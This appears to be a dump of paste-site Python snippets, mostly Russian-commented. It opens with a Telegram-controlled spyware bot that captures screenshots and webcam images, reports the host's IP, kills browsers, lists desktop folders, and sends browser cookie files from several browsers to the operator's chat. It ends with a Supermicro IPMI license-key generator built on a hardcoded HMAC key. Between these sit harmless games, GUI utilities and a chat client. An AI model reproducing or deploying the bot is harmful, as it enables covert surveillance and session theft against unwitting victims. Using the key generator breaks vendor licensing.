# timeout = time.time() + 10 # Record for 10 seconds
# while True:
# ret, frame = cap.read()
# out.write(frame)
#
# if cv2.waitKey(1) & 0xFF == ord('q') or time.time() > timeout:
# break
#
# cap.release()
# out.release()
# cv2.destroyAllWindows()
# bot.send_video(message.chat.id, video=output.avi)
# Обработчик всех текстовых сообщений
@bot.message_handler(func=lambda message: message.text.lower() == 'фото')
def handle_text(message):
pyautogui.screenshot('screenshot.png')
screen = open("screenshot.png", "rb")
bot.send_photo(message.chat.id, screen,
caption="PC: " + socket.gethostname() + "\n" + "IP: " + requests.get('https://api.ipify.org').text)
screen.close()
os.system("del /s screenshot.png")

cap = cv2.VideoCapture(0)
key = cv2.waitKey(10)
if not cap.isOpened():
bot.send_message(message.chat.id, 'Нет вебки')
ret, frame = cap.read()

frame = cv2.resize(frame, None, fx=2, fy=2, interpolation=cv2.INTER_AREA)
cv2.imwrite("cap.jpg", frame)
cam = open('cap.jpg', 'rb')
bot.send_photo(message.chat.id, cam, caption='Вебка')
cam.close()

# Обработчик всех текстовых сообщений
@bot.message_handler(func=lambda message: message.text.lower() == 'закрыть все браузеры')
def handle_text(message):
array_exe = ['chrome.exe', 'firefox.exe','msedge.exe','opera.exe',
'iexplore.exe',
'browser.exe',
'chromium.exe',
'brave.exe',
'vivaldi.exe']
for i in array_exe:
try:
def kill_process(process_name):
for proc in psutil.process_iter(['pid', 'name']):
if process_name.lower() in proc.info['name'].lower():
os.system("taskkill /f /im " + proc.info['name'])
kill_process(i)
except:
pass

@bot.message_handler(func=lambda message: message.text.lower() == 'получить кукисы')
def handle_text(message):
chrome = "C:\\Users\\" + getpass.getuser() + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network"
yandex = "C:\\Users\\" + getpass.getuser() + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Network"
opera = "C:\\Users\\" + getpass.getuser() + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\Network"
operaGX = "C:\\Users\\" + getpass.getuser() + "\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Network"
FireFox = "C:\\Users\\" + getpass.getuser() + "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
microsoft = "C:\\Users\\" + getpass.getuser() + "\\AppData\\Roaming\\Microsoft\\Edge\\User Data\\Default\\Network"
try:
if os.path.exists(opera):
cookie = open(opera + "\Cookies", "rb")
bot.send_document(message.chat.id, cookie, caption="Куки Браузера Опера")
else:
bot.send_message(message.chat.id, 'нет оперы')
except:
bot.send_message(message.chat.id, 'Открыт Оперы, ОШИБКА')
try:
if os.path.exists(chrome):
cookie = open(chrome + "\Cookies", "rb")
bot.send_document(message.chat.id, cookie, caption="Куки Гугл Хрома")
else:
bot.send_message(message.chat.id, 'нет гугл хрома')

except:
bot.send_message(message.chat.id, 'Открыт Оперы, ОШИБКА')
try:
if os.path.exists(yandex):
cookie = open(yandex + "\Cookies", "rb")
bot.send_document(message.chat.id, cookie, caption="Куки Яндекс Браузера")
else:
bot.send_message(message.chat.id, 'нет Яндекса')
except:
bot.send_message(message.chat.id, 'Открыт Оперы, ОШИБКА')
try:
if os.path.exists(operaGX):
cookie = open(operaGX + "\Cookies", "rb")
bot.send_document(message.chat.id, cookie, caption="Куки GX")
else:
bot.send_message(message.chat.id, 'нет GX')
except:
bot.send_message(message.chat.id, 'Открыт GX, ОШИБКА')
try:
if os.path.exists(FireFox):
cookie = open(FireFox + "\Cookies", "rb")
bot.send_document(message.chat.id, cookie, caption="Куки FireFox")
else:
bot.send_message(message.chat.id, 'нет Firefox')
except:
bot.send_message(message.chat.id, 'Открыт Firefox, ОШИБКА')

try:
if os.path.exists(microsoft):
cookie = open(microsoft + "\Cookies", "rb")
bot.send_document(message.chat.id, cookie, caption="Куки Internet edge")
else:
bot.send_message(message.chat.id, 'нет edge')
except:
bot.send_message(message.chat.id, 'Открыт Оперы, ОШИБКА')

@bot.message_handler(func=lambda message: message.text.lower() == 'получить список директорий')
def handle_text(message):
root_dir = f'C:\\Users\\{getpass.getuser()}\\Desktop'

desktop_path = f'C:\\Users\\{getpass.getuser()}\\Desktop'
with open(os.path.join(desktop_path, 'list_dir_path.txt'), 'w') as file:
for dirpath, dirnames, filenames in os.walk(root_dir):
for dirname in dirnames:
file.write(os.path.join(dirpath, dirname) + '\n')

desktop_path = f'C:\\Users\\{getpass.getuser()}\\Desktop'
with open(os.path.join(desktop_path, 'list_dir_path.txt'), "rb") as cookie:
bot.send_chat_action(message.chat.id, action='upload_document')
with open(os.path.join(desktop_path, 'list_dir_path.txt'), 'rb') as file:
bot.send_document(message.chat.id, document=file, caption="Путь")
# Запускаем бота
bot.polling()


  • 16/1/2024 15:30 - Asia/Novosibirsk

import tkinter as tk
from tkinter import messagebox
import re


# Функция для проверки фишинговых ссылок
def check_phishing_link():
url = entry.get()

# Регулярное выражение для проверки домена
domain_regex = r"(?:https?:\/\/(?:www\.)?)([a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*)"

try:
# Извлекаем домен из ссылки
domain = re.findall(domain_regex, url)[0]

# Проверка домена на подозрительность
if domain in ['google', 'facebook', 'paypal']:
messagebox.showinfo("Результат", "Фишинговая ссылка")
else:
messagebox.showinfo("Результат", "Не фишинговая ссылка")

except IndexError:
messagebox.showwarning("Ошибка", "Недействительная ссылка")


# Создание графического интерфейса с использованием tkinter
window = tk.Tk()
window.title("Project school 77")
window.geometry('500x120')
window.configure(bg='#FFFFFF')

label = tk.Label(window, text="Введите ссылку:")
label.pack()

entry = tk.Entry(window, width=70)
entry.pack()

button = tk.Button(window, text="Проверить", command=check_phishing_link)
button.place(relx=.5, rely=.6, anchor="c")

window.update_idletasks()
w, h, sx, sy = map(int, re.split('x|\+', window.winfo_geometry()))
sw = (window.winfo_rootx() - sx) * 2 + w
sh = (window.winfo_rooty() - sy) + (window.winfo_rootx() - sx) + h
sx = (window.winfo_screenwidth() - sw) // 2
sy = (window.winfo_screenheight() - sh) // 2
window.wm_geometry('+%d+%d' % (sx, sy))

window.mainloop()


  • 18/1/2024 21:55 - Europe/Moscow

import random

def guess_the_number():
    print("Добро пожаловать в игру 'Угадай число'!")
    print("Я загадаю число от 1 до 100, а вы должны угадать его.")

    secret_number = random.randint(1, 100)
    attempts = 0

    while True:
        user_guess = int(input("Введите вашу догадку: "))
        attempts += 1

        if user_guess == secret_number:
            print(f"Поздравляю! Вы угадали число {secret_number} за {attempts} попыток.")
            break
        elif user_guess < secret_number:
            print("Ваше число слишком маленькое. Попробуйте еще раз.")
        else:
            print("Ваше число слишком большое. Попробуйте еще раз.")

if __name__ == "__main__":
    guess_the_number()


  • 21/1/2024 17:10 - Europe/Moscow

python
import tkinter as tk
from datetime import datetime, timedelta

def calculate_dates():
    input_date = entry.get()
    try:
        input_date = datetime.strptime(input_date, "%d/%m/%Y")
        v0 = input_date.strftime("%d/%m/%Y")
        v1 = (input_date + timedelta(days=3)).strftime("%d/%m/%Y")
        v2 = (input_date + timedelta(days=7)).strftime("%d/%m/%Y")
        v3 = (input_date + timedelta(days=14)).strftime("%d/%m/%Y")
        v4 = (input_date + timedelta(days=30)).strftime("%d/%m/%Y")
        v5 = (input_date + timedelta(days=90)).strftime("%d/%m/%Y")

        output_label.config(text=f"v0: {v0}\nv1: {v1}\nv2: {v2}\nv3: {v3}\nv4: {v4}\nv5: {v5}")
    except ValueError:
        output_label.config(text="Неправильный формат даты!")

root = tk.Tk()
root.title("Вычисление дат")
root.geometry("300x200")

label = tk.Label(root, text="Введите дату (дд/мм/гггг):")
label.pack(pady=10)

entry = tk.Entry(root)
entry.pack()

calculate_button = tk.Button(root, text="Вычислить", command=calculate_dates)
calculate_button.pack(pady=10)

output_label = tk.Label(root)
output_label.pack()

root.mainloop()


  • 23/1/2024 23:49 - Europe/Kaliningrad

import random
import pyttsx3


def speak_words(word_phrases):
engine = pyttsx3.init()
random.shuffle(word_phrases)

for phrase in word_phrases:
engine.say(phrase)
engine.runAndWait()


def check_dictation(original_phrases, user_answers):
correct_answers = []
errors = []

for original_phrase, user_answer in zip(original_phrases, user_answers):
if original_phrase.lower() != user_answer.lower():
errors.append((original_phrase, user_answer))
else:
correct_answers.append(original_phrase)

return correct_answers, errors


text_input = input("Введите текст для диктанта: ")

original_phrases = text_input.split(',')

original_phrases = [phrase.strip() for phrase in original_phrases]

random.shuffle(original_phrases)

user_answers = []

for i in range(len(original_phrases)):
speak_words([original_phrases[i]])
user_answer = input("Введите словосочетание: ").strip().lower()
user_answers.append(user_answer)

correct_phrases, error_phrases = check_dictation(original_phrases, user_answers)

print("\nОбщее количество словосочетаний в диктанте:", len(original_phrases))
print("\nСловосочетания с ошибками:")
for original_phrase, user_answer in zip(error_phrases, user_answers):
print(f"Ожидаемо: {original_phrase[0]}, Ваш ответ: {user_answer}")


  • 26/1/2024 4:12 - Europe/Moscow

import pyautogui
import cv2
import numpy as np
import winsound
import time
 
image_path = "imageD3.jpg"
image_path1 = "imageS3.jpg"
sound_path = "helicopter-helicopter-parakofer-parakofer.wav"
sound_path = "sound1.wav"
image = cv2.imread(image_path)
image1 = cv2.imread(image_path1)
threshold = 0.8 # Уточните значение порога для вашего случая
threshold1 = 0.8 # Уточните значение порога для вашего случая
while True:
    try:
        screenshot = pyautogui.screenshot()
 
        # Преобразуем скриншот и фрагмент изображения в массивы numpy
        screenshot_np = np.array(screenshot)
        screenshot_np = cv2.cvtColor(screenshot_np, cv2.COLOR_BGR2GRAY)
 
        image_np = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
 
        # Ищем фрагмент изображения на скриншоте
        result = cv2.matchTemplate(screenshot_np, image_np, cv2.TM_CCOEFF_NORMED)
 
        # Получаем координаты верхнего левого угла найденного фрагмента
        min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result)
 
        # Проверяем, превышает ли совпадение пороговое значение
        if max_val >= threshold:
            
            screenshot = pyautogui.screenshot()
            
            # Преобразуем скриншот и фрагмент изображения в массивы numpy
            screenshot_np = np.array(screenshot)
            screenshot_np = cv2.cvtColor(screenshot_np, cv2.COLOR_BGR2GRAY)
 
            image_np1 = cv2.cvtColor(image1, cv2.COLOR_BGR2GRAY)
 
            # Ищем фрагмент изображения на скриншоте
            result = cv2.matchTemplate(screenshot_np, image_np1, cv2.TM_CCOEFF_NORMED)
 
            # Получаем координаты верхнего левого угла найденного фрагмента
            min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result)
 
            # Проверяем, превышает ли совпадение пороговое значение
            if max_val >= threshold1:
                print("Фрагмент найден!")
 
                # Проигрываем звуковой файл
                winsound.PlaySound(sound_path, winsound.SND_ASYNC)
                pyautogui.hotkey('win', '1')
                pyautogui.hotkey('shift', 'w')
            time.sleep(3600)
    except Exception as e:
        print(f"Ошибка: {e}")


  • 26/1/2024 16:50 - Europe/Moscow

from tkinter import *
import random
import time
import random
tk = Tk()
tk.title("Game")
tk.resizable(0, 0)
tk.wm_attributes("-topmost", 1)
canvas = Canvas(tk, width=500, height=400, highlightthickness=0)
canvas.pack()
tk.update()
class Ball:
    def __init__(self, canvas, paddle, score, color):
        self.canvas = canvas
        self.paddle = paddle
        self.score = score
        self.id = canvas.create_oval(10, 10, 25, 25, fill=color)
        self.canvas.move(self.id, 245, 100)
        starts = [-2, -1, 1, 2]
        random.shuffle(starts)
        self.x = starts[0]
        self.y = -2
        self.canvas_height = self.canvas.winfo_height()
        self.canvas_width = self.canvas.winfo_width()
        self.hit_bottom = False
    def hit_paddle(self, pos):
        paddle_pos = self.canvas.coords(self.paddle.id)
        if pos[2] >= paddle_pos[0] and pos[0] <= paddle_pos[2]:
            if pos[3] >= paddle_pos[1] and pos[3] <= paddle_pos[3]:
                self.score.hit()
                return True
        return False
    def draw(self):
        self.canvas.move(self.id, self.x, self.y)
        pos = self.canvas.coords(self.id)
        if pos[1] <= 0:
            self.y = 2
        if pos[3] >= self.canvas_height:
            self.hit_bottom = True
            canvas.create_text(
                250, 120, text="Вы проиграли", font=("Courier", 30), fill="red")
        if self.hit_paddle(pos) == True:
            self.y = -2
        if pos[0] <= 0:
            self.x = 2
        if pos[2] >= self.canvas_width:
            self.x = -2
class Paddle:
    def __init__(self, canvas, color):
        self.canvas = canvas
        self.id = canvas.create_rectangle(0, 0, 100, 11, fill=color)
        start_1 = [40, 60, 90, 120, 150, 180, 200]
        random.shuffle(start_1)
        self.starting_point_x = start_1[0]
        self.canvas.move(self.id, self.starting_point_x, 300)
        self.x = 0
        self.canvas_width = self.canvas.winfo_width()
        self.canvas.bind_all("<KeyPress-Right>", self.turn_right)
        self.canvas.bind_all("<KeyPress-Left>", self.turn_left)
        self.started = False
        self.canvas.bind_all("<KeyPress-Return>", self.start_game)
    def turn_right(self, event):
        self.x = 5
    def turn_left(self, event):
       self.x = -5
    def start_game(self, event):
        self.started = True
    def draw(self):
        self.canvas.move(self.id, self.x, 0)
        pos = self.canvas.coords(self.id)
        if pos[0] <= 0:
            self.x = 0
        elif pos[2] >= self.canvas_width:            
            self.x = 0
class Score:
    def __init__(self, canvas, color):        
        self.score = 0
        self.canvas = canvas
        self.id = canvas.create_text(
            450, 10, text=self.score, font=("Courier", 15), fill=color
        )

    def hit(self):      
        self.score += 1
        self.canvas.itemconfig(self.id, text=self.score)
score = Score(canvas, "green")
paddle = Paddle(canvas, "White")
ball = Ball(canvas, paddle, score, "red")
while not ball.hit_bottom:
    if paddle.started == True:
        ball.draw()
        paddle.draw()
    tk.update_idletasks()
    tk.update()
    time.sleep(0.01)
time.sleep(3)



  • 27/1/2024 20:22 - Asia/Tashkent

print("O'zingizni tanishtiring")
fam = input("Familiyanfiz nima? ")
ism = input("Ismingiz kim? ")
if fam.endswith("va"):
    print("Assalomu Aleykum",ism,"opa qaerda o'qiysiz")
else:
    print("Assalomu Aleykum",ism,"aka qaerda o'qiysiz")
mak = input("Qaysi maktabda o'qiysiz? ")
if fam.endswith("va"):
    print("Demak",ism,"opa siz",mak,"maktabda o'qiysiz shndaymi? ")
else:
    print("Demak",ism,"aka siz",mak,"maktabda o'qiysiz shndaymi? ")
shu = input("xa yo'ki yo'q ")
if shu.endswith("xa"):
    print("Demak",ism," siz bilan tanishib oldik-a")
else:
    print("Demak",ism," siz yolg'nchisizda-a")


  • 28/1/2024 0:8 - Europe/Samara

import time import random import pygame import sys pygame.init() WHITE = (255, 255, 255) BLACK = (0, 0, 0) RED = (255, 0, 0) GREEN = (0, 255, 0) YELLOW = (255, 255, 0) WIDTH, HEIGHT = 800, 600 window = pygame.display.set_mode((WIDTH, HEIGHT)) pygame.display.set_caption('Игра') player_width, player_height = 50, 30 player_x, player_y = (WIDTH - player_width) // 2, HEIGHT - player_height - 50 player_speed = 5 player_rect = pygame.Rect(player_x, player_y, player_width, player_height) red_square_width, red_square_height = 40, 40 red_square_speed = 3 red_squares = [] red_square_freq = 25 red_square_timer = 0 green_square_width, green_square_height = int(red_square_width * 0.67), int(red_square_height * 0.67) green_square_speed = red_square_speed green_squares = [] green_square_freq = 60 green_square_timer = 0 color_square_width, color_square_height = 40, 40 color_square_speed = red_square_speed color_squares = [] color_square_freq = 600 color_square_timer = 0 score = 0 font = pygame.font.Font(None, 36) def create_red_square(): x = random.randint(0, WIDTH - red_square_width) red_square = pygame.Rect(x, 0, red_square_width, red_square_height) red_squares.append(red_square) def create_green_square(): x = random.randint(0, WIDTH - green_square_width) green_square = pygame.Rect(x, 0, green_square_width, green_square_height) green_squares.append(green_square) def create_color_square(): x = random.randint(0, WIDTH - color_square_width) color_square = pygame.Rect(x, 0, color_square_width, color_square_height) color_squares.append(color_square) game_over = False clock = pygame.time.Clock() start_time = 0 game_over_timer = 150 while not game_over: for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.quit() sys.exit() keys = pygame.key.get_pressed() if keys[pygame.K_LEFT] and player_rect.left > 0: player_rect.x -= player_speed if keys[pygame.K_RIGHT] and player_rect.right < WIDTH: player_rect.x += player_speed for red_square in red_squares: red_square.y += red_square_speed if player_rect.colliderect(red_square): game_over = True red_squares = [red_square for red_square in red_squares if red_square.y < HEIGHT] red_square_timer += 1 if red_square_timer == red_square_freq: create_red_square() red_square_timer = 0 for green_square in green_squares: green_square.y += green_square_speed if player_rect.colliderect(green_square): score += 1 green_squares.remove(green_square) green_squares = [green_square for green_square in green_squares if green_square.y < HEIGHT] green_square_timer += 1 if green_square_timer == green_square_freq: create_green_square() green_square_timer = 0 for color_square in color_squares: color_square.y += color_square_speed if player_rect.colliderect(color_square): score += 3 color_squares.remove(color_square) color_squares = [color_square for color_square in color_squares if color_square.y < HEIGHT] color_square_timer += 1 if color_square_timer == color_square_freq: create_color_square() color_square_timer = 0 window.fill(WHITE) pygame.draw.rect(window, BLACK, player_rect) for red_square in red_squares: pygame.draw.rect(window, RED, red_square) for green_square in green_squares: pygame.draw.rect(window, GREEN, green_square) for color_square in color_squares: pygame.draw.rect(window, YELLOW, color_square) score_text = font.render("Score: " + str(score), True, BLACK) window.blit(score_text, (10, 10)) if score >= 25: victory_text = font.render("Victory!", True, GREEN) window.blit(victory_text, (WIDTH // 2 - 50, HEIGHT // 2)) red_squares = [] green_squares = [] color_squares = [] pygame.display.update() clock.tick(60) pygame.quit() sys.exit()


  • 28/1/2024 19:13 - Europe/Moscow

import datetime

# Структура сообщения
class GasMessage:
    def __init__(self, message, temperature, volume, time_difference):
        self.message = message  # Содержимое сообщения
        self.temperature = temperature  # Температура каждого символа
        self.volume = volume  # Объем каждого символа
        self.time_difference = time_difference  # Разница во времени между передаваемыми символами

# Кодирование сообщения в физические свойства газа
def encode_message(text):
    encoded_message = GasMessage(text, [], [], datetime.timedelta(0))  # Создание экземпляра GasMessage
    temperature_table = {
    'A': 12, 'B': 15, 'C': 18, 'D': 20, 'E': 22, 'F': 24, 'G': 26, 'H': 28, 'I': 30, 'J': 32,
    'K': 34, 'L': 36, 'M': 38, 'N': 40, 'O': 42, 'P': 44, 'Q': 46, 'R': 48, 'S': 50, 'T': 52,
    'U': 54, 'V': 56, 'W': 58, 'X': 60, 'Y': 62, 'Z': 64,
    'a': 66, 'b': 68, 'c': 70, 'd': 72, 'e': 74, 'f': 76, 'g': 78, 'h': 80, 'i': 82, 'j': 84,
    'k': 86, 'l': 88, 'm': 90, 'n': 92, 'o': 94, 'p': 96, 'q': 98, 'r': 100, 's': 102, 't': 104,
    'u': 106, 'v': 108, 'w': 110, 'x': 112, 'y': 114, 'z': 116,
    'А': 118, 'Б': 120, 'В': 122, 'Г': 124, 'Д': 126, 'Е': 128, 'Ё': 130, 'Ж': 132, 'З': 134, 'И': 136,
    'Й': 138, 'К': 140, 'Л': 142, 'М': 144, 'Н': 146, 'О': 148, 'П': 150, 'Р': 152, 'С': 154, 'Т': 156,
    'У': 158, 'Ф': 160, 'Х': 162, 'Ц': 164, 'Ч': 166, 'Ш': 168, 'Щ': 170, 'Ъ': 172, 'Ы': 174, 'Ь': 176,
    'Э': 178, 'Ю': 180, 'Я': 182, 'а': 184, 'б': 186, 'в': 188, 'г': 190, 'д': 192, 'е': 194, 'ё': 196, 'ж': 198,
    'з': 200, 'и': 202, 'й': 204, 'к': 206, 'л': 208, 'м': 210, 'н': 212, 'о': 214, 'п': 216, 'р': 218, 'с': 220,
    'т': 222, 'у': 224, 'ф': 226, 'х': 228, 'ц': 230, 'ч': 232, 'ш': 234, 'щ': 236, 'ъ': 238, 'ы': 240,
    'ь': 242, 'э': 244, 'ю': 246, 'я': 248,
    '1': 250, '2': 252, '3': 254, '4': 256, '5': 258, '6': 260, '7': 262, '8': 264, '9': 266, '0': 268,
    '`': 270, '~': 272, '!': 274, '@': 276, '#': 278, '$': 280, '%': 282, '^': 284, '&': 286,
    '*': 288, '(': 290, ')': 292, '-': 294, '_': 296, '=': 298, '+': 300, '[': 302, ']': 304,
    '{': 306, '}': 308, '\\': 310, '|': 312, ';': 314, ':': 316, "'": 318, '"': 320,
    ',': 322, '<': 324, '.': 326, '>': 328, '/': 330, '?': 332, ' ': 334}

    volume_table = {
    'A': 1.0, 'B': 1.2, 'C': 1.4, 'D': 1.6, 'E': 1.8, 'F': 2.0, 'G': 2.2, 'H': 2.4, 'I': 2.6, 'J': 2.8,
    'K': 3.0, 'L': 3.2, 'M': 3.4, 'N': 3.6, 'O': 3.8, 'P': 4.0, 'Q': 4.2, 'R': 4.4, 'S': 4.6, 'T': 4.8,
    'U': 5.0, 'V': 5.2, 'W': 5.4, 'X': 5.6, 'Y': 5.8, 'Z': 6.0,
    'a': 6.2, 'b': 6.4, 'c': 6.6, 'd': 6.8, 'e': 7.0, 'f': 7.2, 'g': 7.4, 'h': 7.6, 'i': 7.8, 'j': 8.0,
    'k': 8.2, 'l': 8.4, 'm': 8.6, 'n': 8.8, 'o': 9.0, 'p': 9.2, 'q': 9.4, 'r': 9.6, 's': 9.8, 't': 10.0,
    'u': 10.2, 'v': 10.4, 'w': 10.6, 'x': 10.8, 'y': 11.0, 'z': 11.2,
    'А': 11.4, 'Б': 11.6, 'В': 11.8, 'Г': 12.0, 'Д': 12.2, 'Е': 12.4, 'Ё': 12.6, 'Ж': 12.8, 'З': 13.0, 'И': 13.2,
    'Й': 13.4, 'К': 13.6, 'Л': 13.8, 'М': 14.0, 'Н': 14.2, 'О': 14.4, 'П': 14.6, 'Р': 14.8, 'С': 15.0, 'Т': 15.2,
    'У': 15.4, 'Ф': 15.6, 'Х': 15.8, 'Ц': 16.0, 'Ч': 16.2, 'Ш': 16.4, 'Щ': 16.6, 'Ъ': 16.8, 'Ы': 17.0, 'Ь': 17.2,
    'Э': 17.4, 'Ю': 17.6, 'Я': 17.8, 'а': 18.0, 'б': 18.2, 'в': 18.4, 'г': 18.6, 'д': 18.8, 'е': 19.0, 'ё': 19.2, 'ж': 19.4,
    'з': 19.6, 'и': 19.8, 'й': 20.0, 'к': 20.2, 'л': 20.4, 'м': 20.6, 'н': 20.8, 'о': 21.0, 'п': 21.2, 'р': 21.4, 'с': 21.6,
    'т': 21.8, 'у': 22.0, 'ф': 22.2, 'х': 22.4, 'ц': 22.6, 'ч': 22.8, 'ш': 23.0, 'щ': 23.2, 'ъ': 23.4, 'ы': 23.6,
    'ь': 23.8, 'э': 24.0, 'ю': 24.2, 'я': 24.4,
    '1': 24.6, '2': 24.8, '3': 25.0, '4': 25.2, '5': 25.4, '6': 25.6, '7': 25.8, '8': 26.0, '9': 26.2, '0': 26.4,
    '`': 26.6, '~': 26.8, '!': 27.0, '@': 27.2, '#': 27.4, '$': 27.6, '%': 27.8, '^': 28.0,
    '&': 28.2, '*': 28.4, '(': 28.6, ')': 28.8, '-': 29.0, '_': 29.2, '=': 29.4, '+': 29.6, '[': 29.8, ']': 30.0,
    '{': 30.2, '}': 30.4, '\\': 30.6, '|': 30.8, ';': 31.0, ':': 31.2, "'": 31.4, '"': 31.6,
    ',': 31.8, '<': 32.0, '.': 32.2, '>': 32.4, '/': 32.6, '?': 32.8, ' ': 33.0}

    current_time = datetime.datetime.now()
    for c in text:
        encoded_message.temperature.append(temperature_table[c])
        encoded_message.volume.append(volume_table[c])
        encoded_message.time_difference += datetime.timedelta(hours=1)  # Пример разницы во времени между символами
    return encoded_message

# Отправка сообщения
def send_message(text):
    encoded_message = encode_message(text)
    # Отправка инструкций модулям по нагреванию газа, набору объема куба и передаче адресату с учётом временной разницы
    print("Сообщение успешно отправлено для кодирования и транспортировки газа.")

# Раскодирование сообщения из физических свойств газа
def decode_message(gas_message):
    decoded_message = ""  # Раскодированное сообщение
    # Раскодирование сообщения из физических свойств газа
    # (здесь предполагается обратное преобразование с использованием temperature_table и volume_table)
    return decoded_message

# Основная логика
choice = int(input("Выберите действие: \n1. Отправить сообщение\n2. Прочитать сообщения\n"))

if choice == 1:
    message = input("Введите сообщение: ")
    send_message(message)
elif choice == 2:
    # Получение данных от модуля для раскодировки сообщения
    # Если полученных сообщений нет, вывести "Непрочитанных сообщений нет"
    received_message = GasMessage("", [], [], datetime.timedelta(0))  # Полученное сообщение
    if not received_message.message:
        print("Непрочитанных сообщений нет")
    else:
        decoded = decode_message(received_message)
        print("Раскодированное сообщение:", decoded)
else:
    print("Некорректный выбор.")


  • 28/1/2024 22:0 - Europe/Moscow

import pygame
from pygame.locals import *
from sys import exit
from random import randint

pygame.init()
pygame.display.set_caption('Фортнайт змейка')
screen = pygame.display.set_mode((1371, 700))
clock = pygame.time.Clock()
font=pygame.font.SysFont(None,32)
pygame.mixer.init()
game_sound= pygame.mixer.Sound("mix_11s (audio-joiner.com).mp3--online-audio-convert.com.wav" )
game_sound.set_volume(0.6)
point_sound=pygame.mixer.Sound("Point.wav")
point_sound.set_volume(0.4)
head = Rect(400, 300, 30, 30)

SPEED = 30
DIRECTION = [SPEED, 0]
COLORR = (255, 255, 255)
#SPEED1 = randint(1, 20)
#SPEED2 = randint(1, 20)
def load_image(src,x,y,a,b):
image=pygame.image.load(src).convert()
image=pygame.transform.scale(image,(a,b))
rect=image.get_rect(center=(x,y))
transparent = image.get_at((0,0))
image.set_colorkey(transparent)
return image,rect
#DIRECTION = [SPEED1, SPEED2]

def random_color():
r = randint(0, 255)
g = randint(0, 255)
b = randint(0, 255)
return (r, g, b)

def move(head,snake):
global DIRECTION, COLORR, KEYS, SPEED1, SPEED2

if KEYS[K_w] and DIRECTION[1]==0:
DIRECTION = [0, -SPEED]
elif KEYS[K_s] and DIRECTION[1]==0:
DIRECTION = [0, SPEED]
elif KEYS[K_d] and DIRECTION[0]==0:
DIRECTION = [SPEED, 0]
elif KEYS[K_a] and DIRECTION[0]==0:
DIRECTION = [-SPEED, 0]

if head.bottom > 600:
head.top = 0

elif head.top < 0:
head.bottom = 700

elif head.left < 0:
head.right = 1371

elif head.right > 1371:
head.left = 0
for index in range(len(snake)-1,0,-1):
snake[index].x = snake[index-1].x
snake[index].y = snake[index-1].y

head.move_ip(DIRECTION)
GAME_POINTS=0
def pickup():
global apple_rect,head,GAME_POINTS,snake

if head_rect.colliderect(apple_rect):
apple_rect.x=randint(40,760)
apple_rect.y = randint(40,560)
GAME_POINTS +=1
print(f'количество очков {GAME_POINTS}')
snake.append(snake[-1].copy())
point_sound.play()
def score():
global GAME_POINTS
text=font.render(f'Стенок: {GAME_POINTS}',True,(255,255,255))
text_rect = text.get_rect(center=(400,500))
screen.blit(text,text_rect)

def gameover():
global snake,head_rect
for s in snake[1:]:
if head_rect.colliderect(s):
return True
return False
fon_image,fon_rect = load_image('1676545841_catherineasquithgallery-com-p-karta-s-zelenim-fonom-fortnait-198.png',0,0,3500,2500)
head_image,head_rect = load_image('1663454369_29-phonoteka-org-p-ronin-fortnait-art-instagram-32-PhotoRoom.png-PhotoRoom.png',400,300,30,30)
apple_image,apple_rect=load_image('wood_icon.png',200,300,30,30)
body_image,body_rect = load_image('1im1532892355_10578100-PhotoRoom.png-PhotoRoom.png',370,300,30,30)
snake=[head_rect,body_rect]
game_sound.play(-1)
while 1:
for event in pygame.event.get():
if event.type == QUIT:
pygame.quit()
exit()



KEYS = pygame.key.get_pressed()
screen.blit(fon_image, fon_rect)
screen.blit(head_image,head_rect)
screen.blit(apple_image,apple_rect)
for s in snake[1:]:
screen.blit(body_image,s)
move(head_rect,snake)
pickup()
score()
if gameover():
pygame.quit()
exit()
pygame.display.update()
clock.tick(15)
screen.fill((0,0,0))


  • 4/2/2024 23:27 - Pacific/Guadalcanal

import socket
import random
from threading import Thread
from datetime import datetime
from colorama import Fore, init, Back
# init colors
init()
# set the available colors
colors = [Fore.BLUE, Fore.CYAN, Fore.GREEN, Fore.LIGHTBLACK_EX,
    Fore.LIGHTBLUE_EX, Fore.LIGHTCYAN_EX, Fore.LIGHTGREEN_EX,
    Fore.LIGHTMAGENTA_EX, Fore.LIGHTRED_EX, Fore.LIGHTWHITE_EX,
    Fore.LIGHTYELLOW_EX, Fore.MAGENTA, Fore.RED, Fore.WHITE, Fore.YELLOW
]
# choose a random color for the client
client_color = random.choice(colors)
# server's IP address
# if the server is not on this machine,
# put the private (network) IP address (e.g 192.168.1.2)
SERVER_HOST = "koly330.ddns.net"
SERVER_PORT = 5002 # server's port
separator_token = "<SEP>" # we will use this to separate the client name & message
# initialize TCP socket
s = socket.socket()
print(f"[*] Connecting to {SERVER_HOST}:{SERVER_PORT}...")
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))
print("[+] Connected.")
# prompt the client for a name
name = input("Enter your name: ")
while True:
    # input message we want to send to the server
    to_send =  input()
    # a way to exit the program
    if to_send.lower() == 'q':
        break
    # add the datetime, name & the color of the sender
    date_now = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    to_send = f"{client_color}[{date_now}] {name}{separator_token}{to_send}{Fore.RESET}"
    # finally, send the message
    s.send(to_send.encode())
# close the socket
s.close()


  • 9/2/2024 17:59 - Europe/Moscow

#!/usr/bin/python
# -*- coding: UTF-8 -*- 
# 超微主板 IPMI 高级授权生成器 Python 实现版本
import hmac
import binascii
import base64
import sys
import re
from hashlib import sha1
 
def hex2bin(data):
    return binascii.a2b_hex(data)
 
def hash_hmac(key, code, sha1):
hmac_code = hmac.new(key, code, sha1)
return hmac_code.hexdigest()
 
if __name__ == '__main__':
if len(sys.argv) == 1 or len(sys.argv) > 2:
print("Supermicro IPMI License Generator")
print("https://github.com/kasuganosoras/SuperMicro-IPMI-LicenseGenerator")
print("Argument is missing, please append your BMC-MAC after this command.")
print("Example: " + sys.argv[0] + " 0c:c4:7a:3e:2f:de")
exit()
mac = sys.argv[1].replace(":", "")
if re.match( r'^(\w+)$', mac):
key = hash_hmac(hex2bin("8544E3B47ECA58F9583043F8"), hex2bin(mac), sha1)[0:24]
s = 0
result = ""
for i in range(0, len(key)):
s = s + 1
result += key[i]
if s == 4 and i != len(key) - 1:
result += "-"
